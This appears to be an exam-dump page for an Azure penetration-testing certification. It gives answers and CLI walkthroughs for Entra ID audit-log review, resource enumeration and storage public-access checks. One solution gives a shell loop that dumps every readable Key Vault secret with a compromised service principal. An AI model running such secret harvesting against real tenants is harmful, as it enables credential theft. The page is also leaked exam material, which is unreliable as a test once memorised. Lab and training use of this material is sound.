The SecOps Group CCPenX-Az Exam Dumps

Detailed Solution:

In an Entra ID abuse path, a privileged user such as User Administrator may reset another user's password. In logs, this appears as a user update operation involving the password profile.

Check audit logs in the portal:

Microsoft Entra ID Monitoring Audit logs

Or query via Microsoft Graph/Azure tooling depending on permissions.

The activity to look for is generally:

Update user Modified property: passwordProfile

The other options represent different activities:

Microsoft.Authorization/roleAssignments/write = RBAC role assignment change Microsoft.Storage/storageAccounts/listKeys/action = storage account key retrieval Microsoft.KeyVault/vaults/secrets/read = Key Vault secret read

Correct answer:

rg-prod-apps-eastus

Detailed Solution:

List accessible resource groups:

az group list --output table

For a cleaner search:

az group list \

--query '[?contains(name, 'prod')].{Name:name,Location:location}' \

--output table

Expected output:

Name Location

-------------------- ----------

rg-prod-apps-eastus eastus

The resource group containing prod is:

rg-prod-apps-eastus

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query '[].name' -o tsv); do

echo '===== $kv ====='

az keyvault secret list \

--vault-name '$kv' \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name <vault-name> \

--name <secret-name> \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query '[].name' -o tsv); do

echo '===== Vault: $kv ====='

for sec in $(az keyvault secret list --vault-name '$kv' --query '[].name' -o tsv); do

echo '----- Secret: $sec -----'

az keyvault secret show \

--vault-name '$kv' \

--name '$sec' \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

finance-reporting-api

Detailed Solution:

Set the resource group:

RG='rg-prod-apps-eastus'

List resources:

az resource list \

--resource-group '$RG' \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================

allowBlobPublicAccess: true

Detailed Solution:

Run:

az storage account show \

--name prodreportstore01 \

--resource-group rg-prod-apps-eastus \

--query '{Name:name,AllowBlobPublicAccess:allowBlobPublicAccess}' \

--output json

Expected output:

{

'Name': 'prodreportstore01',

'AllowBlobPublicAccess': true

}

This means public blob access is enabled at the storage-account level. That does not automatically mean every container is public, but it permits public container/blob exposure if configured.

================